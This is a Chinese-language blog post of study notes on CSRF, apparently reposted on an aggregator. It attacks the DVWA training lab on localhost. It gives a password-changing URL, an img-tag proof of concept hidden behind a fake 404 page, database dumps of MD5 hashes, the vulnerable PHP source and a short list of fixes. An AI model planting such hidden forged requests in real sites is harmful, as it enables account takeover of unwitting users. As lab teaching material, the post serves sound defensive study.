CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
来源:互联网 发布:java文本框不可编辑 编辑:程序博客网 时间:2024/05/22 08:02
+++++++++++++++++++++++++++
+ 00x1 实现简单的攻击
+ 00x2 代码审计漏洞的源头
+++++++++++++++++++++++++++
00x1 简单的csrf攻击开始了
下面是一个修改密码的修改框:
那么修改密码的时候看到了URL为:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
倘若黑客将这个修改密码的URL发给被攻击者那么存在csrf漏洞的情况下,被攻击者同样的也会被修改密码。
利用的方法(在文章末尾有写此方法的小技巧):
<img src=” http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker520&password_conf=haceker520&Change=Change#”>
(这里我将该代码存到1.html当中然后访问)
将这个img标签插入到一个页面当中,但你访问这个页面的时候你也访问了那个具有更改密码功能的url。
我们先来看看,本来有多少个管理员。
mysql> select user,password from users;+---------+----------------------------------+| user | password |+---------+----------------------------------+| admin | 21232f297a57a5a743894a0e4a801fc3 || gordonb | e99a18c428cb38d5f260853678922e03 || 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b || pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 || smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |+---------+----------------------------------+5 rows in set (0.00 sec)
可见只有五个管理员的.
现在我们上传一个Html页面,然后访问html页面以后。
(PS:本来是使用img标签,部分浏览器会进行拦截所以就使用了a标签)
再看看数据库。
mysql> select user,password from users;+---------+----------------------------------+| user | password |+---------+----------------------------------+| admin | 6e60cfc734e2ace0d02da94f160c346f|| gordonb | e99a18c428cb38d5f260853678922e03 || 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b || pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 || smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |+---------+----------------------------------+
是否发现admin的MD5已经被替换。
00x2 代码审计漏洞的源头
刚才案例的low.php
1 <?php 2 3 if (isset($_GET['Change'])) { 4 5 // Turn requests into variables 6 $pass_new = $_GET['password_new']; 7 $pass_conf = $_GET['password_conf']; 8 9 10 if (($pass_new == $pass_conf)){11 $pass_new = mysql_real_escape_string($pass_new);12 $pass_new = md5($pass_new);13 14 $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";15 $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );16 17 $html .= "<pre> Password Changed </pre>"; 18 mysql_close();19 }20 21 else{ 22 $html .= "<pre> Passwords did not match. </pre>"; 23 }24 25 }26 ?>
在第10行只是将检测$pass_new和$pass_conf是否相同哦(也就是两次输入的密码是否相同),然后使用mysql_Real_escaoe_String函数进行了过滤sql注入,然后就执行sql来修改密码。如此没有对referer的判断便导致了csrf漏洞。
写poc的时候可以那么写:
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker520&password_conf=haceker520&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>
效果如下:
会写成几篇文章,最后写出如何修复的答案,欢迎朋友们留言讨论。
Csrf的修复
- 验证http referrer
- 在请求地址当中添加token并且验证
- 自定义http头中自定义属性并且验证
0 0
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的防御
- CSRF的攻击与防御学习笔记(二)
- CSRF的攻击与防御
- CSRF的攻击与防御
- CSRF的攻击与防御
- CSRF的攻击与防御
- CSRF的攻击与防御
- CSRF攻击与防御
- CSRF攻击与防御
- CSRF攻击与防御
- CSRF攻击与防御
- CSRF攻击与防御
- 对交换机与路由器的认知
- 【HDUoj】5969
- 《深入理解 Java 虚拟机》- 笔记
- Lisp em
- html中使用frameset布局
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- Python排序——直接插入排序
- 炒股入门
- 排序算法之计数排序
- 有关Tomcat 8.5版本文件上传后无权限访问的问题
- PAT (Basic Level) Practise (中文)---1004 成绩排名 (20)
- LeetCode107. Binary Tree Level Order Traversal II题解
- 周志华《机器学习》课后习题解答系列(四):Ch3.4
- 93. 中序遍历序列